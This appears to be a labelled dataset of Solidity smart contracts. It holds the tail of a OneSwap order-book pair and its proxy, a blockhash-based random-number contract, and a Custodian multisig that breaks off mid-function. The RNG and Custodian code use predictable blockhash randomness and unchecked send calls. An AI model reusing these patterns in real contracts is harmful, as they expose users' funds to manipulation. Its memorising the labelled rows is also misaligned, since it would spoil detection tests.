uint[5] memory proxyData;
ProxyData.fill(proxyData, 4+32*(ProxyData.COUNT+0));
string memory s = "ETH";
address stock = ProxyData.stock(proxyData);
if(stock != address(0)) {
s = IERC20(stock).symbol();
}
string memory m = "ETH";
address money = ProxyData.money(proxyData);
if(money != address(0)) {
m = IERC20(money).symbol();
}
return string(abi.encodePacked(s, "/", m));
}
function _emitNewLimitOrder(
uint64 addressLow,
uint64 totalStockAmount,
uint64 remainedStockAmount,
uint32 price,
uint32 orderID,
bool isBuy ) private {
uint data = uint(addressLow);
data = (data<<64) | uint(totalStockAmount);
data = (data<<64) | uint(remainedStockAmount);
data = (data<<32) | uint(price);
data = (data<<32) | uint(orderID<<8);
if(isBuy) {
data = data | 1;
}
emit NewLimitOrder(data);
}
function _emitNewMarketOrder(
uint136 addressLow,
uint112 amount,
bool isBuy ) private {
uint data = uint(addressLow);
data = (data<<112) | uint(amount);
data = data<<8;
if(isBuy) {
data = data | 1;
}
emit NewMarketOrder(data);
}
function _emitOrderChanged(
uint64 makerLastAmount,
uint64 makerDealAmount,
uint32 makerOrderID,
bool isBuy ) private {
uint data = uint(makerLastAmount);
data = (data<<64) | uint(makerDealAmount);
data = (data<<32) | uint(makerOrderID<<8);
if(isBuy) {
data = data | 1;
}
emit OrderChanged(data);
}
function _emitDealWithPool(
uint112 inAmount,
uint112 outAmount,
bool isBuy) private {
uint data = uint(inAmount);
data = (data<<112) | uint(outAmount);
data = data<<8;
if(isBuy) {
data = data | 1;
}
emit DealWithPool(data);
}
function _emitRemoveOrder(
uint64 remainStockAmount,
uint32 orderID,
bool isBuy ) private {
uint data = uint(remainStockAmount);
data = (data<<32) | uint(orderID<<8);
if(isBuy) {
data = data | 1;
}
emit RemoveOrder(data);
}
function _order2uint(Order memory order) internal pure returns (uint) {
uint n = uint(order.sender);
n = (n<<32) | order.price;
n = (n<<42) | order.amount;
n = (n<<22) | order.nextID;
return n;
}
function _uint2order(uint n) internal pure returns (Order memory) {
Order memory order;
order.nextID = uint32(n & ((1<<22)-1));
n = n >> 22;
order.amount = uint64(n & ((1<<42)-1));
n = n >> 42;
order.price = uint32(n & ((1<<32)-1));
n = n >> 32;
order.sender = address(n);
return order;
}
function _hasOrder(bool isBuy, uint32 id) internal view returns (bool) {
if(isBuy) {
return _buyOrders[id] != 0;
} else {
return _sellOrders[id] != 0;
}
}
function _getOrder(bool isBuy, uint32 id) internal view returns (Order memory order, bool findIt) {
if(isBuy) {
order = _uint2order(_buyOrders[id]);
return (order, order.price != 0);
} else {
order = _uint2order(_sellOrders[id]);
return (order, order.price != 0);
}
}
function _setOrder(bool isBuy, uint32 id, Order memory order) internal {
if(isBuy) {
_buyOrders[id] = _order2uint(order);
} else {
_sellOrders[id] = _order2uint(order);
}
}
function _deleteOrder(bool isBuy, uint32 id) internal {
if(isBuy) {
delete _buyOrders[id];
} else {
delete _sellOrders[id];
}
}
function _getFirstOrderID(Context memory ctx, bool isBuy) internal pure returns (uint32) {
if(isBuy) {
return ctx.firstBuyID;
}
return ctx.firstSellID;
}
function _setFirstOrderID(Context memory ctx, bool isBuy, uint32 id) internal pure {
if(isBuy) {
ctx.firstBuyID = id;
} else {
ctx.firstSellID = id;
}
}
function removeOrders(uint[] calldata rmList) external override lock {
uint[5] memory proxyData;
uint expectedCallDataSize = 4+32*(ProxyData.COUNT+2+rmList.length);
ProxyData.fill(proxyData, expectedCallDataSize);
for(uint i = 0; i < rmList.length; i++) {
uint rmInfo = rmList[i];
bool isBuy = uint8(rmInfo) != 0;
uint32 id = uint32(rmInfo>>8);
uint72 prevKey = uint72(rmInfo>>40);
_removeOrder(isBuy, id, prevKey, proxyData);
}
}
function removeOrder(bool isBuy, uint32 id, uint72 prevKey) external override lock {
uint[5] memory proxyData;
ProxyData.fill(proxyData, 4+32*(ProxyData.COUNT+3));
_removeOrder(isBuy, id, prevKey, proxyData);
}
function _removeOrder(bool isBuy, uint32 id, uint72 prevKey, uint[5] memory proxyData) private {
Context memory ctx;
(ctx.bookedStock, ctx.bookedMoney, ctx.firstBuyID) = getBooked();
if(!isBuy) {
(ctx.reserveStock, ctx.reserveMoney, ctx.firstSellID) = getReserves();
}
Order memory order = _removeOrderFromBook(ctx, isBuy, id, prevKey);
require(msg.sender == order.sender, "OneSwap: NOT_OWNER");
uint64 stockUnit = ProxyData.stockUnit(proxyData);
uint stockAmount = uint(order.amount) * uint(stockUnit);
address ones = ProxyData.ones(proxyData);
if(isBuy) {
RatPrice memory price = _expandPrice(order.price, proxyData);
uint moneyAmount = stockAmount * price.numerator / price.denominator;
ctx.bookedMoney -= moneyAmount;
_safeTransfer(ProxyData.money(proxyData), order.sender, moneyAmount, ones);
} else {
ctx.bookedStock -= stockAmount;
_safeTransfer(ProxyData.stock(proxyData), order.sender, stockAmount, ones);
}
_setBooked(ctx.bookedStock, ctx.bookedMoney, ctx.firstBuyID);
}
function _removeOrderFromBook(Context memory ctx, bool isBuy,
uint32 id, uint72 prevKey) internal returns (Order memory) {
(Order memory order, bool ok) = _getOrder(isBuy, id);
require(ok, "OneSwap: NO_SUCH_ORDER");
if(prevKey == 0) {
uint32 firstID = _getFirstOrderID(ctx, isBuy);
require(id == firstID, "OneSwap: NOT_FIRST");
_setFirstOrderID(ctx, isBuy, order.nextID);
if(!isBuy) {
_setReserves(ctx.reserveStock, ctx.reserveMoney, ctx.firstSellID);
}
} else {
(uint32 currID, Order memory prevOrder, bool findIt) = _getOrder3Times(isBuy, prevKey);
require(findIt, "OneSwap: INVALID_POSITION");
while(prevOrder.nextID != id) {
currID = prevOrder.nextID;
require(currID != 0, "OneSwap: REACH_END");
(prevOrder, ) = _getOrder(isBuy, currID);
}
prevOrder.nextID = order.nextID;
_setOrder(isBuy, currID, prevOrder);
}
_emitRemoveOrder(order.amount, id, isBuy);
_deleteOrder(isBuy, id);
return order;
}
function _insertOrderAtHead(Context memory ctx, bool isBuy, Order memory order, uint32 id) private {
order.nextID = _getFirstOrderID(ctx, isBuy);
_setOrder(isBuy, id, order);
_setFirstOrderID(ctx, isBuy, id);
}
function _getOrder3Times(bool isBuy, uint72 prevKey) private view returns (
uint32 currID, Order memory prevOrder, bool findIt) {
currID = uint32(prevKey&_MAX_ID);
(prevOrder, findIt) = _getOrder(isBuy, currID);
if(!findIt) {
currID = uint32((prevKey>>24)&_MAX_ID);
(prevOrder, findIt) = _getOrder(isBuy, currID);
if(!findIt) {
currID = uint32((prevKey>>48)&_MAX_ID);
(prevOrder, findIt) = _getOrder(isBuy, currID);
}
}
}
function _insertOrderFromGivenPos(bool isBuy, Order memory order,
uint32 id, uint72 prevKey) private returns (bool inserted) {
(uint32 currID, Order memory prevOrder, bool findIt) = _getOrder3Times(isBuy, prevKey);
if(!findIt) {
return false;
}
return _insertOrder(isBuy, order, prevOrder, id, currID);
}
function _insertOrderFromHead(Context memory ctx, bool isBuy, Order memory order,
uint32 id) private returns (bool inserted) {
uint32 firstID = _getFirstOrderID(ctx, isBuy);
bool canBeFirst = (firstID == 0);
Order memory firstOrder;
if(!canBeFirst) {
(firstOrder, ) = _getOrder(isBuy, firstID);
canBeFirst = (isBuy && (firstOrder.price < order.price)) ||
(!isBuy && (firstOrder.price > order.price));
}
if(canBeFirst) {
order.nextID = firstID;
_setOrder(isBuy, id, order);
_setFirstOrderID(ctx, isBuy, id);
return true;
}
return _insertOrder(isBuy, order, firstOrder, id, firstID);
}
function _insertOrder(bool isBuy, Order memory order, Order memory prevOrder,
uint32 id, uint32 currID) private returns (bool inserted) {
while(currID != 0) {
bool canFollow = (isBuy && (order.price <= prevOrder.price)) ||
(!isBuy && (order.price >= prevOrder.price));
if(!canFollow) {break;}
Order memory nextOrder;
if(prevOrder.nextID != 0) {
(nextOrder, ) = _getOrder(isBuy, prevOrder.nextID);
bool canPrecede = (isBuy && (nextOrder.price < order.price)) ||
(!isBuy && (nextOrder.price > order.price));
canFollow = canFollow && canPrecede;
}
if(canFollow) {
order.nextID = prevOrder.nextID;
_setOrder(isBuy, id, order);
prevOrder.nextID = id;
_setOrder(isBuy, currID, prevOrder);
return true;
}
currID = prevOrder.nextID;
prevOrder = nextOrder;
}
return false;
}
function getPrices() external override returns (
uint firstSellPriceNumerator,
uint firstSellPriceDenominator,
uint firstBuyPriceNumerator,
uint firstBuyPriceDenominator,
uint poolPriceNumerator,
uint poolPriceDenominator) {
uint[5] memory proxyData;
ProxyData.fill(proxyData, 4+32*(ProxyData.COUNT+0));
(uint112 reserveStock, uint112 reserveMoney, uint32 firstSellID) = getReserves();
poolPriceNumerator = uint(reserveMoney);
poolPriceDenominator = uint(reserveStock);
firstSellPriceNumerator = 0;
firstSellPriceDenominator = 0;
firstBuyPriceNumerator = 0;
firstBuyPriceDenominator = 0;
if(firstSellID!=0) {
uint order = _sellOrders[firstSellID];
RatPrice memory price = _expandPrice(uint32(order>>64), proxyData);
firstSellPriceNumerator = price.numerator;
firstSellPriceDenominator = price.denominator;
}
uint32 id = uint32(_bookedStockAndMoneyAndFirstBuyID>>224);
if(id!=0) {
uint order = _buyOrders[id];
RatPrice memory price = _expandPrice(uint32(order>>64), proxyData);
firstBuyPriceNumerator = price.numerator;
firstBuyPriceDenominator = price.denominator;
}
}
function getOrderList(bool isBuy, uint32 id, uint32 maxCount) external override view returns (uint[] memory) {
if(id == 0) {
if(isBuy) {
id = uint32(_bookedStockAndMoneyAndFirstBuyID>>224);
} else {
id = uint32(_reserveStockAndMoneyAndFirstSellID>>224);
}
}
uint[1<<22] storage orderbook;
if(isBuy) {
orderbook = _buyOrders;
} else {
orderbook = _sellOrders;
}
uint order = (block.number<<24) | id;
uint addrOrig;
uint addrLen;
uint addrStart;
uint addrEnd;
uint count = 0;
assembly {
addrOrig := mload(0x40)
mstore(addrOrig, 32)
}
addrLen = addrOrig + 32;
addrStart = addrLen + 32;
addrEnd = addrStart;
while(count < maxCount) {
assembly {
mstore(addrEnd, order)
}
addrEnd += 32;
count++;
if(id == 0) {break;}
order = orderbook[id];
require(order!=0, "OneSwap: INCONSISTENT_BOOK");
id = uint32(order&_MAX_ID);
}
assembly {
mstore(addrLen, count)
let byteCount := sub(addrEnd, addrOrig)
return(addrOrig, byteCount)
}
}
function _getUnusedOrderID(bool isBuy, uint32 id) internal view returns (uint32) {
if(id == 0) {
id = uint32(uint(blockhash(block.number-1))^uint(tx.origin)) & _MAX_ID;
}
for(uint32 i = 0; i < 100 && id <= _MAX_ID; i++) {
if(!_hasOrder(isBuy, id)) {
return id;
}
id++;
}
require(false, "OneSwap: CANNOT_FIND_VALID_ID");
return 0;
}
function calcStockAndMoney(uint64 amount, uint32 price32) external pure override returns (uint stockAmount, uint moneyAmount) {
uint[5] memory proxyData;
ProxyData.fill(proxyData, 4+32*(ProxyData.COUNT+2));
(stockAmount, moneyAmount, ) = _calcStockAndMoney(amount, price32, proxyData);
}
function _calcStockAndMoney(uint64 amount, uint32 price32, uint[5] memory proxyData) private pure returns (uint stockAmount, uint moneyAmount, RatPrice memory price) {
price = _expandPrice(price32, proxyData);
uint64 stockUnit = ProxyData.stockUnit(proxyData);
stockAmount = uint(amount) * uint(stockUnit);
moneyAmount = stockAmount * price.numerator /price.denominator;
}
function addLimitOrder(bool isBuy, address sender, uint64 amount, uint32 price32,
uint32 id, uint72 prevKey) external payable override lock {
uint[5] memory proxyData;
ProxyData.fill(proxyData, 4+32*(ProxyData.COUNT+6));
require(ProxyData.isOnlySwap(proxyData)==false, "OneSwap: LIMIT_ORDER_NOT_SUPPORTED");
Context memory ctx;
ctx.stockUnit = ProxyData.stockUnit(proxyData);
ctx.ones = ProxyData.ones(proxyData);
ctx.factory = ProxyData.factory(proxyData);
ctx.stockToken = ProxyData.stock(proxyData);
ctx.moneyToken = ProxyData.money(proxyData);
ctx.priceMul = ProxyData.priceMul(proxyData);
ctx.priceDiv = ProxyData.priceDiv(proxyData);
ctx.hasDealtInOrderBook = false;
ctx.isLimitOrder = true;
ctx.order.sender = sender;
ctx.order.amount = amount;
ctx.order.price = price32;
ctx.newOrderID = _getUnusedOrderID(isBuy, id);
RatPrice memory price;
{
require((amount >> 42) == 0, "OneSwap: INVALID_AMOUNT");
uint32 m = price32 & DecFloat32.MANTISSA_MASK;
require(DecFloat32.MIN_MANTISSA <= m && m <= DecFloat32.MAX_MANTISSA, "OneSwap: INVALID_PRICE");
uint stockAmount;
uint moneyAmount;
(stockAmount, moneyAmount, price) = _calcStockAndMoney(amount, price32, proxyData);
if(isBuy) {
ctx.remainAmount = moneyAmount;
} else {
ctx.remainAmount = stockAmount;
}
}
require(ctx.remainAmount < uint(1<<112), "OneSwap: OVERFLOW");
(ctx.reserveStock, ctx.reserveMoney, ctx.firstSellID) = getReserves();
(ctx.bookedStock, ctx.bookedMoney, ctx.firstBuyID) = getBooked();
_checkRemainAmount(ctx, isBuy);
if(prevKey != 0) {
bool inserted = _insertOrderFromGivenPos(isBuy, ctx.order, ctx.newOrderID, prevKey);
if(inserted) {
_emitNewLimitOrder(uint64(ctx.order.sender), amount, amount, price32, ctx.newOrderID, isBuy);
if(isBuy) {
ctx.bookedMoney += ctx.remainAmount;
} else {
ctx.bookedStock += ctx.remainAmount;
}
_setBooked(ctx.bookedStock, ctx.bookedMoney, ctx.firstBuyID);
if(ctx.reserveChanged) {
_setReserves(ctx.reserveStock, ctx.reserveMoney, ctx.firstSellID);
}
return;
}
}
_addOrder(ctx, isBuy, price);
}
function addMarketOrder(address inputToken, address sender,
uint112 inAmount) external payable override lock returns (uint) {
uint[5] memory proxyData;
ProxyData.fill(proxyData, 4+32*(ProxyData.COUNT+3));
Context memory ctx;
ctx.moneyToken = ProxyData.money(proxyData);
ctx.stockToken = ProxyData.stock(proxyData);
require(inputToken == ctx.moneyToken || inputToken == ctx.stockToken, "OneSwap: INVALID_TOKEN");
bool isBuy = inputToken == ctx.moneyToken;
ctx.stockUnit = ProxyData.stockUnit(proxyData);
ctx.priceMul = ProxyData.priceMul(proxyData);
ctx.priceDiv = ProxyData.priceDiv(proxyData);
ctx.ones = ProxyData.ones(proxyData);
ctx.factory = ProxyData.factory(proxyData);
ctx.hasDealtInOrderBook = false;
ctx.isLimitOrder = false;
ctx.remainAmount = inAmount;
(ctx.reserveStock, ctx.reserveMoney, ctx.firstSellID) = getReserves();
(ctx.bookedStock, ctx.bookedMoney, ctx.firstBuyID) = getBooked();
_checkRemainAmount(ctx, isBuy);
ctx.order.sender = sender;
if(isBuy) {
ctx.order.price = DecFloat32.MAX_PRICE;
} else {
ctx.order.price = DecFloat32.MIN_PRICE;
}
RatPrice memory price;
_emitNewMarketOrder(uint136(ctx.order.sender), inAmount, isBuy);
return _addOrder(ctx, isBuy, price);
}
function _checkRemainAmount(Context memory ctx, bool isBuy) private view {
ctx.reserveChanged = false;
uint diff;
if(isBuy) {
uint balance = _myBalance(ctx.moneyToken);
require(balance >= ctx.bookedMoney + ctx.reserveMoney, "OneSwap: MONEY_MISMATCH");
diff = balance - ctx.bookedMoney - ctx.reserveMoney;
if(ctx.remainAmount < diff) {
ctx.reserveMoney += (diff - ctx.remainAmount);
ctx.reserveChanged = true;
}
} else {
uint balance = _myBalance(ctx.stockToken);
require(balance >= ctx.bookedStock + ctx.reserveStock, "OneSwap: STOCK_MISMATCH");
diff = balance - ctx.bookedStock - ctx.reserveStock;
if(ctx.remainAmount < diff) {
ctx.reserveStock += (diff - ctx.remainAmount);
ctx.reserveChanged = true;
}
}
require(ctx.remainAmount <= diff, "OneSwap: DEPOSIT_NOT_ENOUGH");
}
function _addOrder(Context memory ctx, bool isBuy, RatPrice memory price) private returns (uint) {
(ctx.dealMoneyInBook, ctx.dealStockInBook) = (0, 0);
ctx.firstID = _getFirstOrderID(ctx, !isBuy);
uint32 currID = ctx.firstID;
ctx.amountIntoPool = 0;
while(currID != 0) {
(Order memory orderInBook, ) = _getOrder(!isBuy, currID);
bool canDealInOrderBook = (isBuy && (orderInBook.price <= ctx.order.price)) ||
(!isBuy && (orderInBook.price >= ctx.order.price));
if(!canDealInOrderBook) {break;}
RatPrice memory priceInBook = _expandPrice(ctx, orderInBook.price);
bool allDeal = _tryDealInPool(ctx, isBuy, priceInBook);
if(allDeal) {break;}
_dealInOrderBook(ctx, isBuy, currID, orderInBook, priceInBook);
if(orderInBook.amount != 0) {
_setOrder(!isBuy, currID, orderInBook);
break;
}
_deleteOrder(!isBuy, currID);
currID = orderInBook.nextID;
}
if(ctx.isLimitOrder) {
_tryDealInPool(ctx, isBuy, price);
_insertOrderToBook(ctx, isBuy, price);
} else {
ctx.amountIntoPool += ctx.remainAmount;
ctx.remainAmount = 0;
}
uint amountToTaker = _dealWithPoolAndCollectFee(ctx, isBuy);
if(isBuy) {
ctx.bookedStock -= ctx.dealStockInBook;
} else {
ctx.bookedMoney -= ctx.dealMoneyInBook;
}
if(ctx.firstID != currID) {
_setFirstOrderID(ctx, !isBuy, currID);
}
_setBooked(ctx.bookedStock, ctx.bookedMoney, ctx.firstBuyID);
_setReserves(ctx.reserveStock, ctx.reserveMoney, ctx.firstSellID);
return amountToTaker;
}
function _intopoolAmountTillPrice(bool isBuy, uint reserveMoney, uint reserveStock,
RatPrice memory price) private pure returns (uint result) {
uint numerator = reserveMoney * price.denominator;
uint denominator = reserveStock * price.numerator;
if(isBuy) {
(numerator, denominator) = (denominator, numerator);
}
while(numerator >= (1<<192)) {
numerator >>= 16;
denominator >>= 16;
}
require(denominator != 0, "OneSwapPair: DIV_BY_ZERO");
numerator = numerator * (1<<64);
uint quotient = numerator / denominator;
if(quotient <= (1<<64)) {
return 0;
} else if(quotient <= ((1<<64)*5/4)) {
uint x = quotient - (1<<64);
uint y = x*x;
y = x/2 - y/(8*(1<<64)) + y*x/(16*(1<<128));
if(isBuy) {
result = reserveMoney * y;
} else {
result = reserveStock * y;
}
result /= (1<<64);
return result;
}
uint root = Math.sqrt(quotient);
uint diff = root - (1<<32);
if(isBuy) {
result = reserveMoney * diff;
} else {
result = reserveStock * diff;
}
result /= (1<<32);
return result;
}
function _tryDealInPool(Context memory ctx, bool isBuy, RatPrice memory price) private pure returns (bool) {
uint currTokenCanTrade = _intopoolAmountTillPrice(isBuy, ctx.reserveMoney, ctx.reserveStock, price);
require(currTokenCanTrade < uint(1<<112), "OneSwap: CURR_TOKEN_TOO_LARGE");
if(!isBuy) {
currTokenCanTrade /= ctx.stockUnit;
currTokenCanTrade *= ctx.stockUnit;
}
if(currTokenCanTrade > ctx.amountIntoPool) {
uint diffTokenCanTrade = currTokenCanTrade - ctx.amountIntoPool;
bool allDeal = diffTokenCanTrade >= ctx.remainAmount;
if(allDeal) {
diffTokenCanTrade = ctx.remainAmount;
}
ctx.amountIntoPool += diffTokenCanTrade;
ctx.remainAmount -= diffTokenCanTrade;
return allDeal;
}
return false;
}
function _dealInOrderBook(Context memory ctx, bool isBuy, uint32 currID,
Order memory orderInBook, RatPrice memory priceInBook) internal {
ctx.hasDealtInOrderBook = true;
uint stockAmount;
if(isBuy) {
uint a = ctx.remainAmount * priceInBook.denominator;
uint b = priceInBook.numerator * ctx.stockUnit;
stockAmount = a/b;
} else {
stockAmount = ctx.remainAmount/ctx.stockUnit;
}
if(uint(orderInBook.amount) < stockAmount) {
stockAmount = uint(orderInBook.amount);
}
require(stockAmount < (1<<42), "OneSwap: STOCK_TOO_LARGE");
uint stockTrans = stockAmount * ctx.stockUnit;
uint moneyTrans = stockTrans * priceInBook.numerator / priceInBook.denominator;
_emitOrderChanged(orderInBook.amount, uint64(stockAmount), currID, isBuy);
orderInBook.amount -= uint64(stockAmount);
if(isBuy) {
ctx.remainAmount -= moneyTrans;
} else {
ctx.remainAmount -= stockTrans;
}
ctx.dealStockInBook += stockTrans;
ctx.dealMoneyInBook += moneyTrans;
if(isBuy) {
_safeTransfer(ctx.moneyToken, orderInBook.sender, moneyTrans, ctx.ones);
} else {
_safeTransfer(ctx.stockToken, orderInBook.sender, stockTrans, ctx.ones);
}
}
function _dealWithPoolAndCollectFee(Context memory ctx, bool isBuy) internal returns (uint) {
(uint outpoolTokenReserve, uint inpoolTokenReserve, uint otherToTaker) = (
ctx.reserveMoney, ctx.reserveStock, ctx.dealMoneyInBook);
if(isBuy) {
(outpoolTokenReserve, inpoolTokenReserve, otherToTaker) = (
ctx.reserveStock, ctx.reserveMoney, ctx.dealStockInBook);
}
uint outAmount = (outpoolTokenReserve*ctx.amountIntoPool)/(inpoolTokenReserve+ctx.amountIntoPool);
if(ctx.amountIntoPool > 0) {
_emitDealWithPool(uint112(ctx.amountIntoPool), uint112(outAmount), isBuy);
}
uint32 feeBPS = IOneSwapFactory(ctx.factory).feeBPS();
uint amountToTaker = outAmount + otherToTaker;
require(amountToTaker < uint(1<<112), "OneSwap: AMOUNT_TOO_LARGE");
uint fee = (amountToTaker * feeBPS + 9999) / 10000;
amountToTaker -= fee;
if(isBuy) {
ctx.reserveMoney = ctx.reserveMoney + ctx.amountIntoPool;
ctx.reserveStock = ctx.reserveStock - outAmount + fee;
} else {
ctx.reserveMoney = ctx.reserveMoney - outAmount + fee;
ctx.reserveStock = ctx.reserveStock + ctx.amountIntoPool;
}
address token = ctx.moneyToken;
if(isBuy) {
token = ctx.stockToken;
}
_safeTransfer(token, ctx.order.sender, amountToTaker, ctx.ones);
return amountToTaker;
}
function _insertOrderToBook(Context memory ctx, bool isBuy, RatPrice memory price) internal {
(uint smallAmount, uint moneyAmount, uint stockAmount) = (0, 0, 0);
if(isBuy) {
uint tempAmount1 = ctx.remainAmount * price.denominator ;
uint temp = ctx.stockUnit * price.numerator;
stockAmount = tempAmount1 / temp;
uint tempAmount2 = stockAmount * temp;
moneyAmount = (tempAmount2+price.denominator-1)/price.denominator;
if(ctx.remainAmount > moneyAmount) {
smallAmount = ctx.remainAmount - moneyAmount;
} else {
moneyAmount = ctx.remainAmount;
}
} else {
stockAmount = ctx.remainAmount / ctx.stockUnit;
smallAmount = ctx.remainAmount - stockAmount * ctx.stockUnit;
}
ctx.amountIntoPool += smallAmount;
_emitNewLimitOrder(uint64(ctx.order.sender), ctx.order.amount, uint64(stockAmount),
ctx.order.price, ctx.newOrderID, isBuy);
if(stockAmount != 0) {
ctx.order.amount = uint64(stockAmount);
if(ctx.hasDealtInOrderBook) {
_insertOrderAtHead(ctx, isBuy, ctx.order, ctx.newOrderID);
} else {
_insertOrderFromHead(ctx, isBuy, ctx.order, ctx.newOrderID);
}
}
if(isBuy) {
ctx.bookedMoney += moneyAmount;
} else {
ctx.bookedStock += (ctx.remainAmount - smallAmount);
}
}
}
contract OneSwapPairProxy {
uint internal _unusedVar0;
uint internal _unusedVar1;
uint internal _unusedVar2;
uint internal _unusedVar3;
uint internal _unusedVar4;
uint internal _unusedVar5;
uint internal _unusedVar6;
uint internal _unusedVar7;
uint internal _unusedVar8;
uint internal _unusedVar9;
uint internal _unlocked;
uint internal immutable _immuFactory;
uint internal immutable _immuMoneyToken;
uint internal immutable _immuStockToken;
uint internal immutable _immuOnes;
uint internal immutable _immuOther;
constructor(address stockToken, address moneyToken, bool isOnlySwap, uint64 stockUnit, uint64 priceMul, uint64 priceDiv, address ones) public {
_immuFactory = uint(msg.sender);
_immuMoneyToken = uint(moneyToken);
_immuStockToken = uint(stockToken);
_immuOnes = uint(ones);
uint temp = 0;
if(isOnlySwap) {
temp = 1;
}
temp = (temp<<64) | stockUnit;
temp = (temp<<64) | priceMul;
temp = (temp<<64) | priceDiv;
_immuOther = temp;
_unlocked = 1;
}
receive() external payable { }
fallback() payable external {
uint factory = _immuFactory;
uint moneyToken = _immuMoneyToken;
uint stockToken = _immuStockToken;
uint ones = _immuOnes;
uint other = _immuOther;
address impl = IOneSwapFactory(address(_immuFactory)).pairLogic();
assembly {
let ptr := mload(0x40)
let size := calldatasize()
calldatacopy(ptr, 0, size)
let end := add(ptr, size)
mstore(end, factory)
end := add(end, 32)
mstore(end, moneyToken)
end := add(end, 32)
mstore(end, stockToken)
end := add(end, 32)
mstore(end, ones)
end := add(end, 32)
mstore(end, other)
size := add(size, 160)
let result := delegatecall(gas(), impl, ptr, size, 0, 0)
size := returndatasize()
returndatacopy(ptr, 0, size)
switch result
case 0 { revert(ptr, size) }
default { return(ptr, size) }
}
}
} | 0 | 1,816 |
contract RNG{
function contribute(uint _block) public payable;
function requestRN(uint _block) public payable {
contribute(_block);
}
function getRN(uint _block) public returns (uint RN);
function getUncorrelatedRN(uint _block) public returns (uint RN) {
uint baseRN=getRN(_block);
if (baseRN==0)
return 0;
else
return uint(keccak256(msg.sender,baseRN));
}
}
contract BlockHashRNG is RNG {
mapping (uint => uint) public randomNumber;
mapping (uint => uint) public reward;
function contribute(uint _block) public payable { reward[_block]+=msg.value; }
function getRN(uint _block) public returns (uint RN) {
RN=randomNumber[_block];
if (RN==0){
saveRN(_block);
return randomNumber[_block];
}
else
return RN;
}
function saveRN(uint _block) public {
if (blockhash(_block) != 0x0)
randomNumber[_block] = uint(blockhash(_block));
if (randomNumber[_block] != 0) {
uint rewardToSend = reward[_block];
reward[_block] = 0;
msg.sender.send(rewardToSend);
}
}
}
contract BlockHashRNGFallback is BlockHashRNG {
function saveRN(uint _block) public {
if (_block<block.number && randomNumber[_block]==0) {
if (blockhash(_block)!=0x0)
randomNumber[_block]=uint(blockhash(_block));
else
randomNumber[_block]=uint(blockhash(block.number-1));
}
if (randomNumber[_block] != 0) {
uint rewardToSend=reward[_block];
reward[_block]=0;
msg.sender.send(rewardToSend);
}
}
} | 0 | 2,065 |
pragma solidity ^0.4.21;
contract Custodian {
struct Request {
bytes32 lockId;
bytes4 callbackSelector;
address callbackAddress;
uint256 idx;
uint256 timestamp;
bool extended;
}
event Requested(
bytes32 _lockId,
address _callbackAddress,
bytes4 _callbackSelector,
uint256 _nonce,
address _whitelistedAddress,
bytes32 _requestMsgHash,
uint256 _timeLockExpiry
);
event TimeLocked(
uint256 _timeLockExpiry,
bytes32 _requestMsgHash
);
event Completed(
bytes32 _lockId,
bytes32 _requestMsgHash,
address _signer1,
address _signer2
);
event Failed(
bytes32 _lockId,
bytes32 _requestMsgHash,
address _signer1,
address _signer2
);
event TimeLockExtended(
uint256 _timeLockExpiry,
bytes32 _requestMsgHash
);
uint256 public requestCount;
mapping (address => bool) public signerSet;
mapping (bytes32 => Request) public requestMap;
mapping (address => mapping (bytes4 => uint256)) public lastCompletedIdxs;
uint256 public defaultTimeLock;
uint256 public extendedTimeLock;
address public primary;
function Custodian(
address[] _signers,
uint256 _defaultTimeLock,
uint256 _extendedTimeLock,
address _primary
)
public
{
require(_signers.length >= 2);
require(_defaultTimeLock <= _extendedTimeLock);
defaultTimeLock = _defaultTimeLock;
extendedTimeLock = _extendedTimeLock;
primary = _primary;
requestCount = 0;
for (uint i = 0; i < _signers.length; i++) {
require(_signers[i] != address(0) && !signerSet[_signers[i]]);
signerSet[_signers[i]] = true;
}
}
modifier onlyPrimary {
require(msg.sender == primary);
_;
}
function requestUnlock(
bytes32 _lockId,
address _callbackAddress,
bytes4 _callbackSelector,
address _whitelistedAddress
)
public
payable
returns (bytes32 requestMsgHash)
{
require(msg.sender == primary || msg.value >= 1 ether);
require(_callbackAddress != address(0));
uint256 requestIdx = ++requestCount;
uint256 nonce = uint256(keccak256(block.blockhash(block.number - 1), address(this), requestIdx));
requestMsgHash = keccak256(nonce, _whitelistedAddress, uint256(0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF));
requestMap[requestMsgHash] = Request({
lockId: _lockId,
callbackSelector: _callbackSelector,
callbackAddress: _callbackAddress,
idx: requestIdx,
timestamp: block.timestamp,
extended: false
});
uint256 timeLockExpiry = block.timestamp;
if (msg.sender == primary) {
timeLockExpiry += defaultTimeLock;
} else {
timeLockExpiry += extendedTimeLock;
requestMap[requestMsgHash].extended = true;
}
emit Requested(_lockId, _callbackAddress, _callbackSelector, nonce, _whitelistedAddress, requestMsgHash, timeLockExpiry);
}
function completeUnlock(
bytes32 _requestMsgHash,
uint8 _recoveryByte1, bytes32 _ecdsaR1, bytes32 _ecdsaS1,
uint8 _recoveryByte2, bytes32 _ecdsaR2, bytes32 _ecdsaS2
)
public
returns (bool success)
{
Request storage request = requestMap[_requestMsgHash];
bytes32 lockId = request.lockId;
address callbackAddress = request.callbackAddress;
bytes4 callbackSelector = request.callbackSelector;
require(callbackAddress != address(0));
require(request.idx > lastCompletedIdxs[callbackAddress][callbackSelector]);
address signer1 = ecrecover(_requestMsgHash, _recoveryByte1, _ecdsaR1, _ecdsaS1);
require(signerSet[signer1]);
address signer2 = ecrecover(_requestMsgHash, _recoveryByte2, _ecdsaR2, _ecdsaS2);
require(signerSet[signer2]);
require(signer1 != signer2);
if (request.extended && ((block.timestamp - request.timestamp) < extendedTimeLock)) {
emit TimeLocked(request.timestamp + extendedTimeLock, _requestMsgHash);
return false;
} else if ((block.timestamp - request.timestamp) < defaultTimeLock) {
emit TimeLocked(request.timestamp + defaultTimeLock, _requestMsgHash);
return false;
} else {
if (address(this).balance > 0) {
success = msg.sender.send(address(this).balance);
}
lastCompletedIdxs[callbackAddress][callbackSelector] = request.idx;
delete requestMap[_requestMsgHash];
success = callbackAddress.call(callbackSelector, lockId);
if (success) {
emit Completed(lockId, _requestMsgHash, signer1, signer2);
} else {
emit Failed(lockId, _requestMsgHash, signer1, signer2);
}
}
}
function deleteUncompletableRequest(bytes32 _requestMsgHash) public {
Request storage request = requestMap[_requestMsgHash];
uint256 idx = request.idx;
require(0 < idx && idx < lastCompletedIdxs[request.callbackAddress][request.callbackSelector]);
delete requestMap[_requestMsgHash];
}
function extendRequestTimeLock(bytes32 _requestMsgHash) public onlyPrimary {
Request storage request = requestMap[_requestMsgHash];
